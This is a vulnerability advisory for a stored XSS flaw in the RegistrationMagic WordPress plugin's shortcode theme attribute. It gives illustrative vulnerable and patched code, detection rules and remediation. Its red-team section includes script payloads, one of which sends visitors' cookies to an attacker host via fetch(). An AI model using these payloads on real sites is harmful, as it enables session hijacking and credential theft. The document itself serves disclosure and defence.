CVE-2025-13610

Executive Summary

CVE-2025-13610 is a Stored Cross-Site Scripting (XSS) vulnerability in the RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login WordPress plugin. The flaw resides in the RM_Forms shortcode, specifically within the theme attribute. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability affects all versions up to and including 6.0.6.7. No public exploit code or patch details are currently available, but the risk is elevated due to the plugin’s popularity and the low privileges required for exploitation.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The flaw is in the plugin’s shortcode handling, not in the WordPress core or any web server software. Attackers exploit the plugin’s failure to sanitize user-supplied attributes, which is a common issue in third-party WordPress plugins.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary JavaScript in the context of any user visiting the affected page makes this a significant threat for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability is triggered through the RM_Forms shortcode, which allows users to embed registration forms. The theme attribute is intended to specify a visual theme for the form. However, the plugin does not properly sanitize or escape this attribute before rendering it in the page.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts the [RM_Forms] shortcode with a malicious theme attribute, e.g., [RM_Forms theme="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the theme value directly into the HTML without proper escaping.
4. When any user (including admins) views the page, the injected script executes.

Root Cause: The plugin uses echo $theme or similar unsanitized output in the shortcode handler, rather than using WordPress’s esc_attr() or wp_kses() functions.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

function rm_forms_shortcode($atts) {
    extract(shortcode_atts(array(
        'theme' => 'default',
    ), $atts));
    // ... other code ...
    echo '<div class="rm_form_theme_' . $theme . '">';
    // ...
}

Patched Code (expected fix):

function rm_forms_shortcode($atts) {
    $atts = shortcode_atts(array(
        'theme' => 'default',
    ), $atts);
    $theme = esc_attr($atts['theme']);
    // ... other code ...
    echo '<div class="rm_form_theme_' . $theme . '">';
    // ...
}

The patch uses esc_attr() to escape the theme attribute, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with RegistrationMagic plugin <= 6.0.6.7
• An account with Contributor-level access or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode:

   [RM_Forms theme="<script>alert(document.cookie)</script>"]
   

4. Publish the post.
5. Any user visiting the post will see an alert with their cookies.

Advanced Payload (session hijacking):

[RM_Forms theme="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing [RM_Forms with suspicious theme attributes.
• Look for JavaScript payloads in the theme attribute via log analysis.

Prevention:

• Immediately update the plugin if a patch becomes available.
• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File-based: Modified posts/pages containing [RM_Forms theme="<script>...</script>"]
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data)
• Log-based: WordPress audit logs showing creation/editing of posts with unusual shortcode attributes
• Browser-based: Unexpected JavaScript execution on pages containing RegistrationMagic forms

Detection Engineering

YARA Rule

rule CVE_2025_13610_Stored_XSS {
    meta:
        description = "Detects malicious shortcode injection in RegistrationMagic plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13610"
    strings:
        $shortcode = /\[RM_Forms[^\]]*theme\s*=\s*["'][^"']*<script[^>]*>/
        $payload = /<script[^>]*>.*<\/script>/ nocase
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2025-13610 - Stored XSS via RegistrationMagic Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts/pages containing malicious RM_Forms shortcode with script injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "[RM_Forms"
            - "theme="
        http.url|re: 'theme\s*=\s*["'"'"'][^"'"'"']*<script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in theme attribute (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13610 - Stored XSS via RegistrationMagic Shortcode"; flow:to_server,established; content:"[RM_Forms"; http_uri; content:"theme="; http_uri; pcre:"/theme\s*=\s*["'"'"'][^"'"'"']*<script[^>]*>/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the site has untrusted contributors.
2. Restrict user roles – only grant Contributor access to trusted users.
3. Implement a WAF rule to block shortcode attributes containing <script> tags.

Long-term Fix:

• Apply the vendor patch when released (monitor the plugin’s changelog).
• If the plugin is abandoned, consider migrating to an alternative registration plugin.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
• Manually audit all posts/pages for malicious shortcode injections.

Valters IT – DevSecOps & Cyber Threat Intelligence